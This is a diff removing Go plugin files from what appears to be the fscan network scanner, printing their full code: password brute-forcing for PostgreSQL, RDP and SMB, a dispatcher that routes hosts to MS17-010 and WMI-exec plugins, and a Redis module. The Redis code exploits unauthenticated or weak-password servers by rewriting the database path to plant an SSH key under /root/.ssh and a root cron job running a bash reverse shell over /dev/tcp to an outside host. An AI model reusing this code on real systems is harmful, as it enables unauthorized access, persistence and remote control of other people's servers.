AliveAddress = append(AliveAddress, address)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
@ -1,55 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("postgres", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
192
Plugins/rdp.go
192
Plugins/rdp.go
@ -1,192 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Brutelist struct {
|
||||
user string
|
||||
pass string
|
||||
}
|
||||
|
||||
func RdpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var signal bool
|
||||
var num = 0
|
||||
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
|
||||
var mutex sync.Mutex
|
||||
brlist := make(chan Brutelist)
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
|
||||
for i := 0; i < common.BruteThread; i++ {
|
||||
wg.Add(1)
|
||||
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
|
||||
}
|
||||
|
||||
for _, user := range common.Userdict["rdp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
brlist <- Brutelist{user, pass}
|
||||
}
|
||||
}
|
||||
close(brlist)
|
||||
go func() {
|
||||
wg.Wait()
|
||||
signal = true
|
||||
}()
|
||||
for !signal {
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
|
||||
defer wg.Done()
|
||||
for one := range brlist {
|
||||
if *signal == true {
|
||||
return
|
||||
}
|
||||
go incrNum(num, mutex)
|
||||
user, pass := one.user, one.pass
|
||||
flag, err := RdpConn(host, domain, user, pass, port, timeout)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
*signal = true
|
||||
return
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func incrNum(num *int, mutex *sync.Mutex) {
|
||||
mutex.Lock()
|
||||
*num = *num + 1
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
g := NewClient(target, glog.NONE)
|
||||
err := g.Login(domain, user, password, timeout)
|
||||
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
|
||||
type Client struct {
|
||||
Host string // ip:port
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
}
|
||||
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[dial err] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
//g.sec.SetClientAutoReconnect()
|
||||
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
|
||||
|
||||
err = g.x224.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[x224 connect err] %v", err)
|
||||
}
|
||||
glog.Info("wait connect ok")
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
g.pdu.On("error", func(e error) {
|
||||
err = e
|
||||
glog.Error("error", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("close", func() {
|
||||
err = errors.New("close")
|
||||
glog.Info("on close")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("success", func() {
|
||||
err = nil
|
||||
glog.Info("on success")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("on ready")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("on update:", rectangles)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
394
Plugins/redis.go
394
Plugins/redis.go
@ -1,394 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
dbfilename string
|
||||
dir string
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
}
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
flag = true
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
|
||||
common.LogSuccess(result)
|
||||
return flag, err
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
return flag, err
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
if common.Noredistest {
|
||||
return nil
|
||||
}
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis ", realhost, "cron write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
err = recoverdb(dbfilename, dir, conn)
|
||||
return err
|
||||
}
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
// 尝试写入Ubuntu的路径
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if !strings.Contains(text, "OK") {
|
||||
// 如果没有返回"OK",可能是CentOS,尝试CentOS的路径
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return flag, "host error", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func Readfile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (string, error) {
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
bytes, err := io.ReadAll(conn)
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
var text string
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
@ -1,132 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
|
||||
if err != nil {
|
||||
fmt.Println("len(hosts)==0", err)
|
||||
return
|
||||
}
|
||||
lib.Inithttp()
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
web := strconv.Itoa(common.PORTList["web"])
|
||||
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
||||
if len(Hosts) > 0 || len(common.HostPort) > 0 {
|
||||
if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
|
||||
Hosts = CheckLive(Hosts, common.Ping)
|
||||
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
|
||||
}
|
||||
if common.Scantype == "icmp" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
var AlivePorts []string
|
||||
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
|
||||
AlivePorts = NoPortScan(Hosts, common.Ports)
|
||||
} else if common.Scantype == "hostname" {
|
||||
common.Ports = "139"
|
||||
AlivePorts = NoPortScan(Hosts, common.Ports)
|
||||
} else if len(Hosts) > 0 {
|
||||
AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
|
||||
fmt.Println("[*] alive ports len is:", len(AlivePorts))
|
||||
if common.Scantype == "portscan" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
}
|
||||
if len(common.HostPort) > 0 {
|
||||
AlivePorts = append(AlivePorts, common.HostPort...)
|
||||
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
||||
common.HostPort = nil
|
||||
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
|
||||
}
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
}
|
||||
fmt.Println("start vulscan")
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if common.Scantype == "all" || common.Scantype == "main" {
|
||||
switch {
|
||||
case info.Ports == "135":
|
||||
AddScan(info.Ports, info, &ch, &wg) //findnet
|
||||
if common.IsWmi {
|
||||
AddScan("1000005", info, &ch, &wg) //wmiexec
|
||||
}
|
||||
case info.Ports == "445":
|
||||
AddScan(ms17010, info, &ch, &wg) //ms17010
|
||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||
//AddScan("1000002", info, ch, &wg) //smbghost
|
||||
case info.Ports == "9000":
|
||||
AddScan(web, info, &ch, &wg) //http
|
||||
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
|
||||
case IsContain(severports, info.Ports):
|
||||
AddScan(info.Ports, info, &ch, &wg) //plugins scan
|
||||
default:
|
||||
AddScan(web, info, &ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
scantype := strconv.Itoa(common.PORTList[common.Scantype])
|
||||
AddScan(scantype, info, &ch, &wg)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, url := range common.Urls {
|
||||
info.Url = url
|
||||
AddScan(web, info, &ch, &wg)
|
||||
}
|
||||
wg.Wait()
|
||||
common.LogWG.Wait()
|
||||
close(common.Results)
|
||||
fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
|
||||
}
|
||||
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
*ch <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
Mutex.Lock()
|
||||
common.Num += 1
|
||||
Mutex.Unlock()
|
||||
ScanFunc(&scantype, &info)
|
||||
Mutex.Lock()
|
||||
common.End += 1
|
||||
Mutex.Unlock()
|
||||
wg.Done()
|
||||
<-*ch
|
||||
}()
|
||||
}
|
||||
|
||||
func ScanFunc(name *string, info *common.HostInfo) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err)
|
||||
}
|
||||
}()
|
||||
f := reflect.ValueOf(PluginList[*name])
|
||||
in := []reflect.Value{reflect.ValueOf(info)}
|
||||
f.Call(in)
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(common.Timeout) * time.Second):
|
||||
return false, errors.New("time out")
|
||||
}
|
||||
}
|
218
Plugins/smb2.go
218
Plugins/smb2.go
@ -1,218 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
hasprint := false
|
||||
starttime := time.Now().Unix()
|
||||
if len(common.HashBytes) > 0 {
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, hash := range common.HashBytes {
|
||||
pass := ""
|
||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
||||
if flag2 {
|
||||
hasprint = true
|
||||
}
|
||||
if flag == true {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
var errlog string
|
||||
if len(common.Hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
}
|
||||
